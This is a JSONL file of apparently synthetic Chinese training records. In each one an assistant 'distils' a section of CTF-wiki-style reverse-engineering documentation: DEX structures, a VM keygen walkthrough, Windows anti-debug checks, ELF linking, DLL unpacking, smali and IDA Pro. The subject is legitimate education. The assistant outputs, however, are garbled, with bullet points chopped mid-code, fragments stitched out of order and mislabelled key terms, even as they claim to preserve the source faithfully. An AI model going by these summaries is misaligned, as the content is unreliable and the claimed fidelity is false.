{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-008ceda6eb8eb8e737e2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/dex.md` 中的章节「DEX map section」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/dex.md`\n标题：DEX文件\n章节：DEX文件 > DEX 文件格式 > DEX map section\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“DEX map section”展开。\n- 当Dalvik虚拟机解析DEX文件后的内容后，会将内容映射到DexMapList数据结构，可以说该结构描述了对应的DEX文件的整体概况。\n- 其具体代码如下 ``c++ struct DexMapList { u4 size;\n- DexHeader中的mapOff字段给出了DexMapList结构在DEX文件中的偏移。\n- / DexMapItem的个数，方便解析 / DexMapItem list[1];\n- struct DexMapItem { u2 type;\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n- code:c++\n\n代码/命令片段线索：\n- c++: 32 行，首行 `struct DexMapList {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1040, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "DEX map section", "heading_path": ["DEX文件", "DEX 文件格式", "DEX map section"], "original_id": "docs-a7e77e9694bdbf1a4453", "original_line": 36, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "source_root": "docs", "source_sha256": "02e4e7a9ad1994a3eb6f19cb46b69151a53fab27ed230dc7be1d864947ae6323", "split": "train", "split_group_key": "492febc466f1741f2ed3533c", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "AI安全", "android", "basic-operating-mechanism", "java-layer", "dex", "code:c++"], "title": "DEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-0095806a51e0441cd71b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/vm/vm.md` 中的章节「虚拟机指令分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/vm/vm.md`\n标题：虚拟机分析\n章节：虚拟机分析 > 虚拟机指令分析\n路径分类：reverse / reverse/vm/vm.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“虚拟机指令分析”展开。\n- Now write a keygen.的消息框. 否则会继续initVM进入下一轮循环.(出错了当然是弹出消息框提示错误了. ) cur_index会在initVM中自增1, 那么还记得之前在process_input里有执行2次initVM吗. 因为有执行2次initVM, 所以我们的inputKey的前2位可以是任意字符.\n- ` 故而我们分析完了整个虚拟机, 便可以开始着手编写Keygen. 对应的keygenme可以点击此处下载: fuelvm_keygen.py `bash $ python2 fuelvm_keygen.py ctf-wiki [] Password for user 'ctf-wiki' is: 4mRCTKJI ` 对应的IDA数据库`可以点击此处下载: FuelVM.idb\n- result = (unsigned __int8)inputName[(unsigned __int8)cur_index];\n- r4 = (unsigned __int8)inputName[(unsigned __int8)cur_index];\n- } ` 这里有4个通用寄存器(r1/r2/r3/r4), 1个sp指针和1个pc指针, 标志zf和sf. 先前我们不知道的var_a也被重命名为cur_index, 指向的是inputName当前正在处理的字符索引. 对于VM实现的多个指令我们就不再多说, 重点来看下check部分的操作.\n\n关键术语：\n- reverse\n- vm\n- vm.md\n- code:c\n- code:bash\n\n代码/命令片段线索：\n- c: 15 行，首行 `int initVM()`\n- c: 21 行，首行 `int __fastcall check(int a1)`\n- c: 6 行，首行 `unk_4031CE = i;`\n- bash: 2 行，首行 `$ python2 fuelvm_keygen.py ctf-wiki`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2102, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "虚拟机指令分析", "heading_path": ["虚拟机分析", "虚拟机指令分析"], "original_id": "docs-0f3ec05b1ed22963bdd4", "original_line": 1584, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "source_root": "docs", "source_sha256": "49dd1218224f91698e8278961fe4a83f27c1af4393baa73434f368d1c1baf321", "split": "train", "split_group_key": "f3975d538b7db6ef37b692b9", "subcategory": "reverse/vm/vm.md", "terms": ["reverse", "vm", "vm.md", "code:c", "code:bash"], "title": "虚拟机分析"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-00b20bf35e133d64e426", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntqueryinformationprocess.md` 中的章节「ProcessDebugObjectHandle」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntqueryinformationprocess.md`\n标题：NtQueryInformationProcess\n章节：NtQueryInformationProcess > ProcessDebugObjectHandle\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- Windows XP引入了debug对象, 当一个调试会话启动, 会同时创建一个debug对象以及与之关联的句柄. 我们可以使用ProcessDebugObjectHandle (0x1e)类来查询这个句柄的值 可以用以下32位代码在32位环境进行检测: `` asm push 0 mov eax, esp push 0 push 4 ;\n- GetCurrentProcess() call NtQueryInformationProcess pop eax test eax, eax jne being_debugged ` 用以下64位代码在64位环境进行检测: ` asm xor ebp, ebp enter 20h, 0 push 8 ;\n- GetCurrentProcess() call NtQueryInformationProcess leave test ebp, ebp jne being_debugged ``\n- ProcessInformationLength push eax push 1eh ;\n- ProcessInformationLength pop r9 push rbp pop r8 push 1eh ;\n- ProcessDebugObjectHandle pop rdx or rcx, -1 ;\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `用以下64位代码在64位环境进行检测:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 613, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "ProcessDebugObjectHandle", "heading_path": ["NtQueryInformationProcess", "ProcessDebugObjectHandle"], "original_id": "docs-4aad2b297f7cfb782c83", "original_line": 1530, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntqueryinformationprocess.md", "source_root": "docs", "source_sha256": "0a310c18d604be10c56ee2d1d2fbb3ababf64c326a45c7830ea6cbd15bd863ee", "split": "train", "split_group_key": "4d84735c991f436ac9320455", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "NtQueryInformationProcess"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntqueryinformationprocess.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-00f2e90e0d8c9508da95", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/program-linking.md` 中的章节「Dynamic Linker」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/program-linking.md`\n标题：程序链接\n章节：程序链接 > 动态链接 > Dynamic Linker\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Dynamic Linker”展开。\n- 动态链接器可以用来帮助加载应用所需要的库并解析库所导出的动态符号（函数和全局变量）。\n- 动态链接器可以延迟解析过程链接表的入口，这其实就是plt表的延迟绑定，即当程序需要使用某个符号时，再进行地址解析，这可以减少符号解析以及重定位的负载。\n- > 需要注意的是，对于系统提供的动态链接器，不同的系统会不同。\n- 当使用动态链接来构造程序时，链接编辑器会在可执行文件的程序头部添加一个 PT_INTERP 类型的元素，以便于告诉系统将动态链接器作为程序解释器来调用。\n- 可执行程序和动态链接器会合作起来为程序创建进程镜像，具体的细节如下： 1. 将可执行文件的内存段添加到进程镜像中。\n\n关键术语：\n- 漏洞利用\n- executable\n- elf\n- linking\n- program-linking.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 1019, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "Dynamic Linker", "heading_path": ["程序链接", "动态链接", "Dynamic Linker"], "original_id": "docs-98631feb0ff65d2db6ed", "original_line": 444, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/program-linking.md", "source_root": "docs", "source_sha256": "4228ace692de3c2aa126a27a515adc4682717d3c882ef8577edc0bf82f198fff", "split": "train", "split_group_key": "3dfee9cd44cd8e36170dd4a5", "subcategory": "executable/elf/linking", "terms": ["漏洞利用", "executable", "elf", "linking", "program-linking.md"], "title": "程序链接"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/program-linking.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-01ca31f116919ff2f180", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/unpack-dll.md` 中的章节「DLL 文件脱壳」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/unpack-dll.md`\n标题：DLL 文件脱壳\n章节：DLL 文件脱壳\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“DLL 文件脱壳”展开。\n- 这里需要联系上篇的 手动查找IAT并使用ImportREC重建 例题文件你可以点击此处下载: unpack_dll.zip 因为Dll脱壳需要这一步骤.\n- Dll脱壳的最关键的步骤在于使用LordPE修改其Dll的标志, 用LordPE打开UnpackMe.dll, 然后在特征值那里点击..., 然后取消勾选DLL标志, 保存后, 系统就会将该文件视作一个可执行文件.\n- 文件: ./figure/unpack_dll/upx-dll-unpack-12.png] 我们将UnpackMe.dll后缀名改成UnpackMe.exe, 然后用OD载入.\n- 文件: ./figure/unpack_dll/upx-dll-unpack-13.png] 一般在入口点, 程序都会保存一些信息, 这里就很简单, 只作了一个cmp. 要注意的一点是, 这里的jnz跳转直接就跳到了unpacking过程的末尾. 因此我们需要修改寄存器的z标志来使得跳转失效. 同时在unpacking过程的末尾设下一个断点以避免脱壳完然后直接运行.(程序会断在这个断点上, 但是脱壳已经完成, 代码都很清晰) Dll脱壳的基本步骤跟exe文件脱壳一样, 而在重建IAT时, 需要照着上篇 手动查...\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 892, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "DLL 文件脱壳", "heading_path": ["DLL 文件脱壳"], "original_id": "docs-a39860f1ca317893879f", "original_line": 1550, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/unpack-dll.md", "source_root": "docs", "source_sha256": "21cdd39848ef329b32ee688ecda6b736deaaf447669e6620e152c0a7bc13c25c", "split": "train", "split_group_key": "2ab9dd6f9e1b8e4a1504a4c9", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "DLL 文件脱壳"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/unpack-dll.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-024a7751642966449882", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「switch指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 跳转指令 > switch指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“switch指令”展开。\n- 如下 | 指令 | 含义 | | --------------------------- | ---------------------------------------- | | packed-switch vAA,+BBBBBBBB | vAA寄存器为switch分支中需要判断的值，BBBBBBBB指向一个packed-switch-payload格式的偏移表，表中的值是有规律递增的。\n- | | sparse-switch vAA,+BBBBBBBB | vAA寄存器为switch分支中需要判断的值，BBBBBBBB指向一个sparse-switch-payload格式的偏移表，表中的值是无规律的偏移表，表中的值是无规律的偏移量。\n- | 对于第一种递增式的switch，如下 ``java int a = 10;\n- switch (a){ case 0: a = 1;\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n- code:smali\n\n代码/命令片段线索：\n- java: 15 行，首行 `int a = 10;`\n- smali: 23 行，首行 `const/16 v0, 0xa`\n- smali: 15 行，首行 `int a = 10;`\n- smali: 24 行，首行 `const/16 v0, 0xa`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1587, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "switch指令", "heading_path": ["interfaces", "执行语句", "具体指令", "跳转指令", "switch指令"], "original_id": "docs-2c138c748610b7425cca", "original_line": 60, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "7e1ce404fc103a932625e474", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "漏洞利用", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java", "code:smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-02c8681d0e3a979f57c7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntglobalflag.md` 中的章节「检测代码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntglobalflag.md`\n标题：NtGlobalFlag\n章节：NtGlobalFlag > 检测代码\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检测代码”展开。\n- NtGlobalFlag and al, 70h cmp al, 70h je being_debugged ` 切记不要在没有掩盖其他位的情况下直接进行比较, 那样会无法检测到调试器. 在ExeCryptor就有使用NtGlobalFlag来检测调试器, 不过NtGlobalFlag的那3个标志位只有当程序是由调试器创建, 而非由调试器附加`上去的进程时, 才会被设置.\n- 因此, 可以检查这几个标志位来检测调试器是否存在. 比如用形如以下的32位的代码在32位机器上进行检测: `` asm mov eax, fs:[30h] ;\n- NtGlobalFlag and al, 70h cmp al, 70h je being_debugged ` 以下是64位的代码在64位机器上的检测代码: ` asm push 60h pop rsi gs:lodsq ;\n- NtGlobalFlag and al, 70h cmp al, 70h je being_debugged ` 要注意的是, 如果是一个32位程序在64位机器上运行, 那么实际上会存在两个PEB: 一个是32位部分的而另一个是64位.\n- 64位的PEB的对应字段也会像在32位的那样而改变. 于是我们就还有以下的, 用32位的代码检测64位机器环境: ` mov eax, fs:[30h] ;\n\n关键术语：\n- 密码学\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `以下是64位的代码在64位机器上的检测代码:`\n- plain: 2 行，首行 `要注意的是, 如果是一个32位程序在64位机器上运行, 那么实际上会存在两个PEB: 一个是32位部分的而另一个是64位. 64位的PEB的对应字段也会像在32位的那样而改变.`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 824, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "检测代码", "heading_path": ["NtGlobalFlag", "检测代码"], "original_id": "docs-a71dde1585eded1676ec", "original_line": 1523, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "source_root": "docs", "source_sha256": "ec56247871fb9435305e4c8b2388abac89e4886e3581a55b8ee83db9de62d5a7", "split": "train", "split_group_key": "79053638a95d287efaa4f4f9", "subcategory": "reverse/platform/windows", "terms": ["密码学", "reverse", "platform", "windows", "anti-debug"], "title": "NtGlobalFlag"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-02f32872d8fbad90f4a4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/dynamic-sections.md` 中的章节「.dynsym」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/dynamic-sections.md`\n标题：Dynamic Sections\n章节：Dynamic Sections > .dynsym\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- ` 需要注意的是 .dynsym 是运行时所需的，ELF 文件中 export/import 的符号信息全在这里。\n- 这里再次给出 Elf32_Sym 的结构 ``c typedef struct { Elf32_Word st_name;\n- / Symbol name (string tbl index) / Elf32_Addr st_value;\n- 其实，这个结构体就只有一个域：那就是一个 16 位的整数，表示在 .gnu.verion_r` 段中的下标。\n- 这样就可以一一对应到每一个符号到底是那个版本的了。\n- 动态链接的 ELF 文件具有专门的动态符号表，其使用的结构也是 Elf32_Sym，但是其存储的节为 .dynsym。\n\n关键术语：\n- executable\n- elf\n- structure\n- dynamic-sections.md\n- code:c\n\n代码/命令片段线索：\n- c: 9 行，首行 `typedef struct`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 882, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": ".dynsym", "heading_path": ["Dynamic Sections", ".dynsym"], "original_id": "docs-8b53c0a079e452b92986", "original_line": 478, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "source_root": "docs", "source_sha256": "c293a7a3833b5bc0c2bb5e2fdd32acdf739452a114134eba71693dd5b6a01f8b", "split": "train", "split_group_key": "2cb6667e349d4e0ed26fb448", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "dynamic-sections.md", "code:c"], "title": "Dynamic Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-0301a9909086dbd9db91", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「句法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > Dalvik指令格式 > 句法\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“句法”展开。\n- 指令的参数从指令第一部分开始，op位于低8位，高8位可以是一个8位的参数，也可以是两个4位的参数，还可以为空。\n- 参数 kind@X 表示常量池索引值，其中kind表示常量池类型，可以是以下四种类型 - string，字符串常量池索引 - type，类型常量池索引 - field，字段常量池索引 - meth，方法常量池索引 以指令 op vAA, type@BBBB 为例，指令使用了1个寄存器vAA，一个32位的类型常量池索引。\n- 其基本要求如下 - 指令以操作码op开始，后面直接跟上一个或者多个参数，参数间以逗号分隔。\n- 这里之所以采用v而不用r是为了避免与实现该虚拟机架构的机器架构中的寄存器命名产生冲突。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 406, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "句法", "heading_path": ["interfaces", "执行语句", "Dalvik指令格式", "句法"], "original_id": "docs-82343cca462a2ba25ab4", "original_line": 50, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "49ce5b18c9365991698fa50b", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-043ee2e1f01500d11588", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/symbol-table.md` 中的章节「Symbol Binding」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/symbol-table.md`\n标题：.symtab: Symbol Table\n章节：.symtab: Symbol Table > st_info > Symbol Binding\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Symbol Binding”展开。\n- 根据 #define ELF32_ST_BIND(i) ((i)>>4) 可以看出 st_info 的高 4 位表示符号绑定的信息。\n- 相同名称的局部符号可以存在于多个文件中，互不影响。\n- 类似的，如果一个公共符号存在(st_shndx域为SHN_COMMON的符号)，则同名的弱符号的存在不会引起错误。\n- 而这部分信息确定了符号的链接可见性以及其行为，具体的取值如下 | 名称 | 取值 | 说明 | | ----------------------- | ---- | ------------------------------------------------------------ | | STB_LOCAL | 0 | 表明该符号为局部符号，在包含该符号定义的目标文件以外不可见。\n- | | STB_GLOBAL | 1 | 表明该符号为全局符号，对所有将被组合在一起的目标文件都是可见的。\n\n关键术语：\n- executable\n- elf\n- structure\n- symbol-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 886, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Symbol Binding", "heading_path": [".symtab: Symbol Table", "st_info", "Symbol Binding"], "original_id": "docs-df3381cf2feda34c4b7d", "original_line": 487, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "source_root": "docs", "source_sha256": "56c62270fa50835f2a86e5d488beca1590d3bcbe520738020641a39ef2fc28d2", "split": "train", "split_group_key": "5f91c1f87d3257286f9b5c91", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "symbol-table.md"], "title": ".symtab: Symbol Table"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-045c17cebb605b7f4e73", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/static-analyze/ida.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/static-analyze/ida.md`\n标题：IDA Pro\n章节：IDA Pro > 简介\n路径分类：reverse / reverse/tools/static-analyze\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- 需要注意的是，IDA Pro 为付费软件，软件本体与不同架构的反编译引擎单独进行收费，你可以根据自己的需求在 Hex-rays 的官网自行购买相应的软件许可证以进行使用。\n- IDA Pro（interactive Disassembler Professional）是由 Hex-Rays 公司出品的一款交互式反汇编工具，也是软件逆向工程当中最流行的一个静态分析工具。\n- > 截至 2024 年 4 月， IDA Pro 本体许可证的价格为 1975 USD，任一指令集架构反编译功能的许可证价格为 2765 USD。\n- 此外，Hex-rays 公司还提供基于云引擎的免费逆向工具 IDA Free，不过目前仅支持 x86 逆向。\n\n关键术语：\n- reverse\n- tools\n- static-analyze\n- ida.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 349, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "简介", "heading_path": ["IDA Pro", "简介"], "original_id": "docs-9c781dbedca7f18bbd11", "original_line": 1575, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/static-analyze/ida.md", "source_root": "docs", "source_sha256": "717d794703d9fa7485124c8718c946608af2557418f5abaf18aa1f7b96937e3c", "split": "train", "split_group_key": "e0a1a207afdf3b74e996a139", "subcategory": "reverse/tools/static-analyze", "terms": ["reverse", "tools", "static-analyze", "ida.md"], "title": "IDA Pro"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/static-analyze/ida.md", "split": "train", "type": "ctf_lora_sft"}
